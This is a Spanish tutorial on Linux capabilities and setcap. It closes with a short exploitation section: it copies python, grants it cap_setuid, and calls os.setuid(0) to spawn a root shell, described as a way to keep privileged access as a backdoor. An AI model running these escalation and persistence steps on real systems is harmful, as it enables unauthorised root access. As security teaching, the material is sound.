Capabilities
Las Capabilities de Linux son una característica de seguridad del sistema operativo Linux que permite otorgar privilegios específicos a los procesos, permitiéndoles realizar acciones específicas que de otro modo estarían restringidas. Esto permite un control más preciso sobre qué procesos tienen acceso a ciertos privilegios, haciéndolo más seguro que el modelo tradicional de Unix de otorgar privilegios a usuarios y grupos.
A continuación se muestran algunas capacidades comunes disponibles en Linux:
Capability | Descripción |
---|---|
CAP_SYS_ADMIN | Permite realizar acciones con privilegios administrativos, como modificar archivos del sistema o cambiar configuraciones del sistema. administrativas. |
CAP_CHOWN | Cambiar la propiedad de archivos. |
CAP_DAC_OVERRIDE | Ignorar las verificaciones de permisos de lectura, escritura y ejecución de archivos. |
CAP_DAC_READ_SEARCH | Ignorar las verificaciones de permisos de lectura de archivos. |
CAP_FOWNER | Ignorar las verificaciones de permisos que normalmente requieren ser el propietario del archivo. |
CAP_NET_ADMIN | Realizar diversas operaciones relacionadas con la red, como configurar interfaces. |
CAP_NET_BIND_SERVICE | Vincular (bind) a puertos de red por debajo del 1024. |
CAP_SYS_MODULE | Cargar y descargar módulos del kernel. |
CAP_SYS_RAWIO | Realizar operaciones de entrada/salida (I/O) a bajo nivel. |
CAP_SYS_TIME | Modificar el reloj del sistema. |
Asignar una Capability
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic
Eliminar una Capability
sudo setcap cap_net_bind_service=-ep /usr/bin/vim.basic
A continuación se muestran algunos ejemplos de valores que podemos utilizar con el comando setcap
, junto con una breve descripción de lo que hacen:
Valor | Descripción |
---|---|
= |
Establece la capacidad especificada para el ejecutable, pero no otorga ningún privilegio. Útil para borrar capacidades previamente asignadas. |
+ep |
Otorga al ejecutable los privilegios efectivos y permitidos para la capacidad especificada. Permite que el ejecutable realice acciones permitidas por la capacidad, pero no otras. |
+ei |
Otorga al ejecutable privilegios efectivos e heredables para la capacidad especificada. Permite que el ejecutable y los procesos secundarios hereden la capacidad y realicen las acciones permitidas. |
+p |
Otorga al ejecutable los privilegios permitidos para la capacidad especificada. Permite que el ejecutable realice acciones permitidas, pero evita que la capacidad sea heredada por procesos secundarios. |
En Linux, se pueden utilizar diversas capacidades (capabilities) para escalar los privilegios de un usuario hasta obtener acceso de root. Estas capacidades permiten a los procesos realizar acciones específicas que normalmente están restringidas a usuarios con privilegios elevados. A continuación, se describen algunas de las capacidades más relevantes para este propósito:
Capability | Descripción |
---|---|
CAP_SETUID | Permite que un proceso establezca su ID de usuario efectivo, lo que puede usarse para obtener los privilegios de otro usuario, incluido root. |
CAP_SETGID | Permite que un proceso establezca su ID de grupo efectivo, lo que puede usarse para obtener los privilegios de otro grupo, incluido el grupo root. |
CAP_SYS_ADMIN | Proporciona una amplia gama de privilegios administrativos, como modificar la configuración del sistema, montar y desmontar sistemas de archivos, y realizar otras acciones reservadas para el usuario root. |
CAP_DAC_OVERRIDE | Permite omitir las verificaciones de permisos de lectura, escritura y ejecución de archivos, lo que facilita el acceso a archivos restringidos. |
Enumerar binarios con capabilities
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;
Explotación
Si hay capability configuradas en un binario, podemos usar esta capability para escalar privilegios.
Por ejemplo, si se establece la capability CAP_SETUID
, esto se puede usar como una puerta trasera para mantener el acceso privilegiado manipulando su propio UID de proceso.
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'